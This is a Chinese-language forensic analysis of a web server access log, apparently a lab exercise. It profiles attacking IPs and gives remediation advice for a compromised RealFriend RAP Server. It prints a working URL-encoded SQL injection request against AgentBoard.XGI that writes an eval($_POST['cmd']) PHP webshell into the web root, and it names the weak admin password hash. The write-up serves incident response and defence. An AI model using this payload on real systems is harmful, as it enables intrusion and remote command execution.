将日志文件access.log复制到kali中进行分析
使用命令查看文件中各IP的访问次数,依次分析其行为
awk '{ print $1 }' access.log | sort | uniq -c |sort -nr
172.16.3.189
cat access.log | grep '172.16.3.198'
行为模式分析
使用固定弱密码进行身份验证
几乎所有请求都使用用户名为 admin,密码为MD5哈希值 202cb962ac59075b964b07152d234b70(对应明文 "123")。这是一种非常弱且常见的默认凭证。
在 2025年4月20日08:34:15的请求中,甚至尝试使用了空密码的MD5值 (d41d8cd98f00b204e9800998ecf8427e),这明显是暴力破解或密码喷洒攻击的迹象,攻击者正在系统性地尝试极简单或空的密码。
高频度、自动化的信息收集
该IP在多个日期(4月4日、5日、6日、10日、11日、12日、13日、14日、15日、20日、23日、24日、25日)重复访问,模式固定,表明这完全是自动化脚本或工具的行为,而非人工操作。
其请求顺序高度一致,总是先获取 Config.txt,然后依次查询客户端EXE版本 (GetClientExeVer)、认证类型 (GETAUTHTYPE)、应用列表 (GETAppList)、注册信息 (GetRegInfo),最后获取特定应用 (GETApplication)。这是典型的系统侦察行为,旨在绘制系统蓝图,了解其配置和可利用的资产。
访问敏感接口和数据
反复请求 GETAppList 和 GETApplication(AppID=APP00000001)等接口,目的是获取服务器上部署的应用程序列表和详细信息,这可能是下一步攻击的目标。
请求 GetRegInfo 和 GetClientExeVer 是为了获取系统的注册信息和客户端软件版本,攻击者借此寻找已知的版本漏洞进行利用。
潜在的权限维持尝试
持续使用相同的计算机名 (Computer=CAIWU1) 和指纹 (Finger=AD8008ABB),这可能是一种尝试,使其活动在系统中看起来像“正常”的客户端行为,从而规避简单的安全检测。
安全威胁评估
综合其行为模式,该IP地址的活动与自动化攻击工具或恶意脚本的特征高度吻合,其目的可能包括:未授权访问尝试:利用弱密码尝试获取系统权限。
系统侦察:大规模收集系统配置、应用信息和网络结构。
漏洞探测:通过获取的版本信息寻找可攻击的安全漏洞。
数据窃取:获取应用列表和系统信息可能为后续数据窃取做准备。
建议应对措施
立即阻断: 在防火墙或入侵检测系统上立即阻断该IP地址(172.16.3.198)的所有访问。
全面审计: 检查服务器上是否有其他IP地址存在类似的可疑访问模式。彻底审查系统,确认是否有任何异常账户、进程或文件被创建。
强化认证: 强制更改所有弱密码和默认密码,特别是admin账户。实施强密码策略,并考虑启用多因素认证(MFA)。
漏洞排查: 根据日志中暴露的应用程序和版本信息,检查并修复相应的安全漏洞。
监控告警: 部署或调整安全监控规则,对类似的高频、自动化访问行为设置实时告警。
日志分析: 持续监控和分析访问日志,以便及时发现和处理任何新的攻击迹象。
172.16.3.1
cat access.log | grep -E '\b172.16.3.1\b'
行为模式分析
大量404典型的目录探测行为
系统性的敏感文件探测
该IP地址在大量尝试访问常见的PHP信息文件,如 phpinfo.php, info.php, test.php 等。这些文件如果存在,会泄露服务器的详细配置、环境变量、路径等极度敏感的信息,为攻击者下一步的攻击提供蓝图
。
它还在探测各种可能包含敏感信息的目录,如 /cgi-bin/, /scripts/,这通常是攻击者尝试读取系统文件或执行命令的路径。
Web应用与后台登录入口扫描
多次尝试访问诸如 /batavi/admin/index.php?login、/photopost/index.php 等路径。这是在寻找特定Web应用程序(如Batavi、PhotoPost)的管理后台登录页面。一旦发现,攻击者可能会尝试暴力破解或利用已知漏洞进行未授权访问。
API接口探测
反复向 /cobbler_api 和 /spipe/pkg?Source=Agent_3.0.0 等接口发送POST请求。Cobbler是一个Linux安装服务器,用于自动化系统部署。探测其API接口表明攻击者可能正在寻找未授权的访问点或已知的远程命令执行漏洞,试图控制部署系统。
自动化、周期性攻击
攻击活动集中在4月的多个日期(3,4,6,7,8,20,25日),且时间高度集中在早上7:55至7:56之间。这种精确的时间安排和跨多日的持续攻击,强烈表明这完全是一个自动化脚本或工具在运行,而非人工操作。
安全威胁评估
综合其行为模式,该IP地址的活动是典型的网络侦察和初始入侵探测。其目的主要包括:信息收集:获取服务器配置、软件版本、目录结构等关键信息。
漏洞发现:通过探测常见路径和接口,寻找存在的Web应用漏洞或配置弱点。
寻找攻击入口:定位管理后台、API接口等,为后续的暴力破解、未授权访问或漏洞利用做准备。
建议应对措施
立即封锁IP:在防火墙、入侵检测系统(IDS)或Web应用防火墙(WAF)上立即阻断该IP地址(172.16.3.1)的所有访问。
检查服务器:虽然返回了404,但仍需确认服务器上确实不存在这些被请求的敏感文件(如 phpinfo.php)。如有,应立即删除。
强化服务器配置:
对于Web服务器(如Apache/Nginx),禁用目录浏览列表,防止攻击者直接看到目录内容。
确保所有敏感文件和目录(如应用程序配置文件、日志文件等)权限设置正确,避免被Web用户读取。
加强监控与告警:
配置监控规则,对类似的高频、自动化扫描行为(大量404请求)设置实时告警。
持续监控和分析访问日志,以便及时发现和处理任何新的攻击迹象。可以使用科来网络分析系统等工具进行流量分析和安全检测。
漏洞排查与更新:定期对系统进行安全扫描和漏洞评估,及时更新系统和应用软件,修补已知的安全漏洞。
172.16.1.242
cat access.log | grep -E '\b172.16.1.242\b'
行为模式分析
自动化行为: 该 IP 的访问表现出明显的自动化、程序化特征。例如,在 4月25日08:36:35至08:36:40 的短短5秒内,连续发送了6个不同的请求来获取配置、版本信息、应用列表等,这远非人工操作所能及。
定期访问: 活动时间集中在4月2日至4月25日的工作时间内(尤其早上8-9点),表明这可能是一种定时任务或上班时启动的自动登录/检查更新流程。
目标明确: 其所有请求均指向 /RAPAgent.XGI 接口及其相关参数(CMD=GETApplication, GETAppList 等),表明这是一个专用于与“RAPAgent”系统交互的客户端。
安全威胁评估
使用固定弱密码进行身份验证(高风险):
几乎所有请求都使用用户名为 admin,密码为 MD5 哈希值 202cb962ac59075b964b07152d234b70(对应明文 "123")。这是一种非常弱且常见的默认凭证,极易被暴力破解或字典攻击猜中。
恶意行为视角:使用弱密码或默认凭证进行自动化尝试是暴力破解攻击和未授权访问尝试的典型特征。攻击者经常利用弱密码尝试访问系统资源。
高频度、自动化的信息收集:
该IP在多个日期重复访问,模式固定,表明这完全是自动化脚本或工具的行为。
其请求顺序高度一致,总是先获取基础配置,然后查询版本、认证类型、应用列表等。这是典型的系统侦察行为,旨在绘制系统蓝图,了解其配置和可利用的资产。
恶意行为视角:这种系统性的、自动化的信息收集行为与攻击者在发起正式攻击前进行的网络侦察和指纹识别活动高度吻合。
访问敏感接口和数据:
反复请求 GETAppList 和 GETApplication 等接口,目的是获取服务器上部署的应用程序列表和详细信息。
请求 GetRegInfo 和 GetClientExeVer 是为了获取系统的注册信息和客户端软件版本,攻击者可借此寻找已知的版本漏洞进行利用。
恶意行为视角:扫描并获取应用列表、系统配置、软件版本等敏感信息,是攻击者横向移动和漏洞利用的前提。
潜在的权限维持尝试:
持续使用相同的计算机名和指纹,这可能是一种尝试,使其活动在系统中看起来像“正常”的客户端行为,从而规避简单的安全检测。
建议应对措施
确认合法性:首先联系网络或系统管理员,确认 172.16.1.242 是授权的内部设备,并且其行为符合预期。
立即加强认证:立即更改 admin 账户的密码,并实施更强的密码策略(如复杂度要求、定期更换)。强烈建议引入多因素认证(MFA)。
网络隔离与访问控制:对于此类自动化访问设备,考虑是否需要进行网络层隔离或严格的访问控制列表(ACL)策略,限制其只能访问必要的资源,遵循最小权限原则。
监控与审计:即使确认为合法行为,也建议持续监控该IP的活动,关注是否有异常行为(如非工作时段访问、频率异常增高、访问非授权资源等)。部署入侵检测系统(IDS)或启用更详细的日志记录。
漏洞排查:根据日志中暴露的应用程序和版本信息(从 GetClientExeVer 等请求中获取),检查并修复相应的安全漏洞。
192.168.56.128
cat access.log | grep -E '\b192.168.56.128\b'
行为模式分析
SQL注入攻击(利用Union注入写入Webshell) - 最严重的危害
在 2025年4月21日18:08:51,该IP发起了一个极其危险的请求:
GET /AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3c%3fphp+eval%28%24_POST%5b%22cmd%22%5d%29%3b%3f%3e%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5Cpdyfzr7k.php%22+--+-
攻击解析:
SQL注入:参数 user 的值包含 -1' union select,这是经典的Union联合查询注入手法。攻击者利用应用程序对输入校验不严的漏洞,篡改了数据库查询逻辑。
写入Webshell:注入的SQL语句核心是 into outfile "C:\\Program Files (x86)\\RealFriend\\Rap Server\\WebRoot\\pdyfzr7k.php",这会将一个PHP文件写入服务器的网站根目录。该PHP文件的内容是 <?php eval($_POST["cmd"]);?>,这是一个非常常见的Webshell,允许攻击者通过POST参数 cmd 执行任意PHP代码(即任意系统命令)。
这意味着攻击者已成功利用漏洞,在你的服务器上植入了一个后门。
访问并利用Webshell
在成功写入Webshell的同一秒(18:08:51),该IP立即发起了 GET /pdyfzr7k.php HTTP/1.1 的请求, likely to verify the shell was created successfully.
更严重的是,在 4月24日22:21:40,该IP向Webshell发送了 POST /pdyfzr7k.php HTTP/1.1 请求。POST请求意味着攻击者正在通过该Webshell执行命令,很可能是在进行横向移动、数据窃取或其他恶意操作。
系统与应用程序信息收集
在4月21日08:48:34,该IP进行了一系列针对 /RapAgent.XGI 接口的请求,包括获取配置(Config.txt)、客户端EXE版本(GetClientExeVer)、认证类型(GETAUTHTYPE)、应用列表(GETAppList)、注册信息(GetRegInfo)。这同样是典型的侦察行为,旨在详细了解目标系统和应用的结构,为后续攻击(包括上述的SQL注入)寻找突破口。
网站目录结构探测
在4月22日11:16:41,该IP在极短时间内连续请求了大量静态资源,包括图片(/img/目录下的多种png、gif)、JavaScript文件(/js/目录下的jquery.js、easydialog.js、md5.js等)和CSS文件。这种高频、自动化的请求模式类似于爬虫,目的是摸清网站的目录结构和文件分布,可能用于寻找其他漏洞、敏感文件(如备份文件、配置文件)或为后续的钓鱼攻击收集素材。
安全威胁评估
综合其行为模式,该IP地址的活动是典型的入侵链条:信息收集(Reconnaissance):了解目标。
武器化(Weaponization):构造恶意的SQL注入载荷。
投放与利用(Delivery & Exploitation):发起攻击,成功利用SQL注入漏洞。
安装(Installation):在服务器上植入Webshell。
命令与控制(Command & Control):通过Webshell与服务器建立联系并执行命令。
横向移动(Lateral Movement):(可能正在进行)在内部网络进行进一步探索。
这意味着服务器很可能已被攻陷,攻击者获得了相当程度的控制权。
建议应对措施
立即隔离与阻断:
立即在防火墙或服务器上阻断该IP地址(192.168.56.128)的所有访问。
如果可能,将受影响的服务器离线或隔离出网络,防止攻击者进一步横向移动。
漏洞排查与修复:
重点检查 /AgentBoard.XGI 接口,修复其SQL注入漏洞。必须使用参数化查询(预编译语句)来彻底杜绝SQL注入,而不是简单的字符串拼接或过滤。
全面审计代码,查找是否存在类似的安全隐患。
清除Webshell与恢复系统:
立即删除被植入的Webshell文件(C:\Program Files (x86)\RealFriend\Rap Server\WebRoot\pdyfzr7k.php)。
从可信的备份中恢复被篡改的文件或系统(如果有)。
修改所有相关系统的密码(数据库、服务器OS等)。
全面安全审计:
检查服务器上的其他文件是否被篡改或新增。
审查系统日志、数据库日志,追踪攻击者的完整活动轨迹。
检查是否存在其他后门或恶意账户。
加强防护与监控:
部署Web应用防火墙(WAF)来拦截常见的攻击载荷。
对服务器文件(尤其是Web目录)进行完整性监控,以便及时发现更改。
提升日志监控级别,对任何异常访问设置警报。
192.168.56.1
cat access.log | grep -E '\b192.168.56.1\b'
行为模式分析
使用固定弱密码进行身份验证
几乎所有请求都使用用户名为 admin,密码为 MD5哈希值 202cb962ac59075b964b07152d234b70(对应明文 "123")。这是一种非常弱且常见的默认凭证,极易被暴力破解或字典攻击猜中
。
恶意行为视角:使用弱密码或默认凭证进行自动化尝试是暴力破解攻击和未授权访问尝试的典型特征。攻击者经常利用弱密码尝试访问系统资源。高频度、自动化的信息收集
该IP在短时间内(例如在 01/Apr/2025:09:28:55 到 09:28:57 的短短2秒内)连续发送了多个请求,顺序固定(获取 Config.txt、GetClientExeVer、GETAUTHTYPE、GETAppList、GetRegInfo),这完全是自动化脚本或工具的行为,远非人工操作。
其请求旨在获取系统的配置信息、客户端软件版本、认证类型、应用程序列表和注册信息。这是典型的系统侦察行为,攻击者借此绘制系统蓝图,了解其配置、资产和潜在可利用的漏洞
。
访问敏感接口和数据
反复请求 GETAppList 和 GETApplication(AppID=APP00000001)等接口,目的是获取服务器上部署的应用程序列表和详细信息,这可能是下一步攻击的目标。
请求 GetRegInfo 和 GetClientExeVer 是为了获取系统的注册信息和客户端软件版本,攻击者可借此寻找已知的版本漏洞进行利用。
潜在的权限维持尝试
持续使用相同的计算机名 (Computer=AD-DC) 和指纹 (Finger=AF28A4097),这可能是一种尝试,使其活动在系统中看起来像“正常”的客户端行为,从而规避简单的安全检测。
安全威胁评估
综合其行为模式,该IP地址的活动与自动化攻击工具或恶意脚本的特征高度吻合,其目的可能包括:未授权访问尝试:利用弱密码尝试获取系统权限。
系统侦察:大规模收集系统配置、应用信息和网络结构。
漏洞探测:通过获取的版本信息寻找可攻击的安全漏洞。
虽然目前这些请求都返回了 200(成功),但这并不意味着安全。成功的侦察是许多更严重攻击(如数据窃取、漏洞利用、横向移动)的第一步。
建议应对措施
立即阻断:在防火墙或入侵检测系统上立即阻断该IP地址(192.168.56.1)的所有访问,并进行溯源,确认该内网设备的合法性。
全面审计:检查服务器上是否有其他IP地址存在类似的可疑访问模式。彻底审查系统,确认是否有任何异常账户、进程或文件被创建。
强化认证:强制更改所有弱密码和默认密码,特别是admin账户。实施强密码策略,并考虑启用多因素认证(MFA)。
漏洞排查:根据日志中暴露的应用程序和版本信息(从 GetClientExeVer 等请求中获取),检查并修复相应的安全漏洞。
监控告警:部署或调整安全监控规则,对类似的高频、自动化访问行为设置实时告警。
网络隔离:对于此类内部网络设备,也应遵循最小权限原则,确保其只能访问必要的资源。
确认攻击行为成功ip
192.168.56.128
事件发生的时间节点
02/Apr/2025:19:11:17~24/Apr/2025:22:21:40 +0800
攻击行为
通过sql注入写入webshell
处置建议
隔离服务器:立即将这台服务器从网络中断开,防止攻击者进一步访问内网或其他系统。
清除WebShell:找到并删除 C:\Program Files (x86)\RealFriend\Rap Server\WebRoot\pdyfzr7k.php 文件。
彻底检查:检查服务器上的其他文件、计划任务、新增用户账号、最近修改的系统文件等,排查是否存在攻击者留下的其他后门或恶意软件。不要相信现有的系统日志,攻击者可能已将其清除或篡改。
修复漏洞:审查 AgentBoard.XGI 程序的代码,修复存在的SQL注入漏洞。
更改所有凭据:更改所有相关的用户名和密码,特别是admin账户的密码,不要使用弱口令。